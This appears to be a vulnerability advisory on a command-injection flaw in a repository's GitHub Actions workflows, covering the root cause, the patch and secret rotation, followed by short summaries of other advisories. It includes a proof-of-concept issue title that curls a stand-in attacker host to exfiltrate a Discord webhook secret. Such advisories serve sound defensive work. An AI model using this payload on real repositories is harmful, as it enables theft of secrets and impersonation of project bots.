Mar 21, 2026·6 min read·49 visits
Unauthenticated OS command injection in Zen-Ai-Pentest GitHub Actions workflows allows attackers to steal repository secrets by opening malicious issues.
A critical OS command injection vulnerability exists in multiple GitHub Actions workflows within the SHAdd0WTAka/Zen-Ai-Pentest repository. The vulnerability allows unauthenticated attackers to execute arbitrary shell commands on the GitHub runner by submitting specially crafted issue titles, leading to the exfiltration of repository secrets.
The vulnerability tracked as GHSA-f67f-hcr6-94mf affects the SHAdd0WTAka/Zen-Ai-Pentest repository. It manifests within multiple GitHub Actions workflows, specifically those handling Discord notifications, Telegram notifications, and Dependabot auto-merging. The flaw allows unauthenticated attackers to execute arbitrary shell commands on the GitHub Actions runner infrastructure.
The vulnerability is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command). It carries a CVSS v3.1 base score of 9.3. The defect originates from the improper handling of untrusted input derived from GitHub issue events. Because the system processes this input without adequate neutralization, attackers can inject shell metacharacters directly into workflow run commands.
The security impact extends beyond the immediate runner environment. Attackers can access repository secrets explicitly exposed to the vulnerable workflow jobs. These secrets include webhook URLs and bot tokens, which attackers can utilize to compromise the integrity of the project's external communication channels. Triggering the vulnerability requires no authentication or elevated repository permissions.
The root cause of this vulnerability lies in the direct interpolation of GitHub Actions context variables into shell scripts. The GitHub Actions engine evaluates expressions enclosed in ${{ ... }} during the workflow compilation phase. This text replacement occurs before the resulting shell script is passed to the runner for execution.
When an attacker provides input containing shell metacharacters, such as subshells denoted by $(...) or backticks, the engine embeds these characters directly into the generated script source. The bash interpreter on the runner then parses and evaluates the resulting string. Because the interpolation happens before shell execution, standard shell quoting mechanisms are bypassed entirely.
In the zenclaw-discord.yml workflow, developers attempted to sanitize the input using shell utilities like tr and cut. This mitigation attempt failed because the command injection occurs during the initial variable assignment. The bash interpreter evaluates the injected subshell to resolve the assignment before the sanitization pipeline receives the data.
An analysis of the vulnerable Prepare Notification step reveals the exact injection point. The workflow extracts the issue title using the github.event.issue.title context variable and places it directly inside double quotes within a run block.
# Vulnerable workflow pattern
run: |
DESCRIPTION="${{ github.event.issue.title }}"The patch implemented in commit 26c4e07df780f11b7e901ad2d88b3dc5ce8a1aca remediates the vulnerability by fundamentally altering how the context variable enters the shell environment. The developers moved the untrusted input mapping into an env block at the step level.
# Patched workflow pattern
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: |
DESCRIPTION="$ISSUE_TITLE"By assigning the context variable to an intermediate environment variable, the GitHub Actions engine sets the value in the runner's memory space before the bash process starts. The shell script then references the data using standard shell variable syntax ($ISSUE_TITLE). This configuration ensures the bash interpreter treats the input strictly as literal string data rather than executable code.
Exploitation requires the attacker to submit a maliciously crafted payload via a GitHub issue. The workflow is configured to trigger on the issues: opened event, meaning any GitHub user can initiate the execution flow. The attacker does not need write access to the repository to trigger the workflow runner.
The attacker crafts an issue title containing a bash subshell designed to exfiltrate environment variables. A documented proof-of-concept payload targets the DISCORD_WEBHOOK_URL secret. The payload executes the printenv command, encodes the output using base64, and appends it as a query parameter to an external URL via curl.
# Proof of Concept Payload (Issue Title)
bug$(curl -s "https://attacker.example.com/exfil?wh=$(printenv DISCORD_WEBHOOK_URL | base64 -w0)")When the workflow processes this title, the resulting bash assignment forces the immediate execution of the injected curl command. The runner executes the network request to the attacker-controlled server. This request successfully exfiltrates the encoded webhook URL before the workflow continues its normal execution.
The successful exploitation of this vulnerability yields a high impact on both confidentiality and integrity, as reflected by the CVSS 9.3 score. The primary confidentiality impact is the immediate disclosure of repository secrets explicitly mapped into the workflow environment. Identified exposed secrets include DISCORD_WEBHOOK_URL, TELEGRAM_BOT_TOKEN, and TELEGRAM_CHAT_ID.
The integrity impact is categorized as high because the compromised secrets grant the attacker control over the project's external integrations. An attacker possessing the Discord webhook or Telegram bot tokens can impersonate the repository bots. This access enables the distribution of false security alerts, malicious links, or misleading project updates to the community channels.
While the vulnerability provides arbitrary command execution on the GitHub runner, the scope of the compromise is constrained by the privileges assigned to the GITHUB_TOKEN and the specific secrets available to the job. The runner environment is ephemeral, meaning persistent access to the runner infrastructure itself is not achieved. However, the exfiltrated credentials retain their validity until manually revoked by repository administrators.
System administrators and developers must verify that the repository is updated to a commit subsequent to 07e65c72656a8213fc9ece2b3f4fc719032cfc5d. The official patch is implemented in commit 26c4e07df780f11b7e901ad2d88b3dc5ce8a1aca. Applying this update ensures all untrusted issue context variables are processed safely via environment variables.
In addition to patching the workflow configuration, repository maintainers must rotate all secrets that were exposed to the vulnerable workflows. This rotation process includes the Discord webhooks and Telegram bot tokens. Rotating these credentials is a mandatory step, as historical exploitation may have already compromised the existing keys.
The fix strategy applied in this repository aligns with GitHub's security hardening guidelines and is considered complete for the identified injection points. Development teams should audit all other GitHub Actions workflows within their organization to ensure that context variables like github.event.issue.title, github.event.pull_request.body, and github.head_ref are never directly interpolated into run blocks.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
SHAdd0WTAka/Zen-Ai-Pentest SHAdd0WTAka | <= 07e65c72656a8213fc9ece2b3f4fc719032cfc5d | 26c4e07df780f11b7e901ad2d88b3dc5ce8a1aca |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 |
| Attack Vector | Network |
| CVSS v3.1 Score | 9.3 |
| Impact | High Confidentiality, High Integrity |
| Exploit Status | Proof of Concept Available |
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
CVE-2026-16729 (GHSA-v3r7-h72x-cjcm) is a medium-severity cookie attribute injection vulnerability in Undici's web-compliant cookie utility module. Due to insufficient validation of domain parameters and raw attributes in the unparsed options array, arbitrary attributes like SameSite, HttpOnly, and Secure can be injected. This allows attackers to bypass CSRF protections, strip security flags, or override intended cookie behaviors when applications pass user-controlled values to these properties.
An interpretation conflict (CWE-436) in the cache interceptor of the undici HTTP client for Node.js causes whitespace-padded Cache-Control directives to be parsed incorrectly, leading to shared cache pollution and the unauthorized disclosure of sensitive, private, or authenticated user information (CWE-524).
CVE-2026-15157 details an improper neutralization of CRLF sequences ('CRLF Injection') within undici, a widely used Node.js HTTP/1.1 client. The vulnerability is triggered when processing request bodies that exhibit a duck-typed blob-like interface. When an application accepts untrusted data and assigns it to the .type property of such an object without setting an explicit Content-Type on the request, undici appends the value directly to the outgoing headers array without validating it against control characters. This allows remote attackers to inject carriage return and line feed sequences, culminating in arbitrary header injection, HTTP response splitting, or HTTP request smuggling.
A trust-boundary bypass and Server-Side Request Forgery (SSRF) vulnerability exists in the ip-address library versions 10.1.1 through 10.2.0 due to structural input misclassification. The library fails to resolve and normalize transition IP notations, such as IPv4-mapped IPv6 (::ffff:0:0/96) and NAT64 (64:ff9b::/96) addresses, to their embedded IPv4 representations prior to evaluation. Consequently, standard security validation checks (e.g., isLoopback, isLinkLocal, isULA) return false for these addresses. This allows remote attackers to bypass application-level IP address filters, gaining unauthorized access to internal resources, cloud metadata interfaces, and local services on dual-stack hosts or environments utilizing NAT64 gateways.
A critical authentication bypass vulnerability (CVE-2026-18574) in Check Point Security Management and Multi-Domain Security Management (MDS) Servers allows unauthenticated remote attackers to execute arbitrary system commands with administrative privileges. The flaw stems from an alternate path authentication bypass (CWE-288) in the management interface daemons.
An input validation vulnerability in the npm package `ip-address` allows unauthenticated remote attackers to bypass Server-Side Request Forgery (SSRF) protections by appending a `/0` CIDR suffix to IP address strings. This causes the library's classification helper functions to incorrectly identify internal addresses as public, external addresses, while normalization helpers resolve the address back to its internal form during network connection establishment.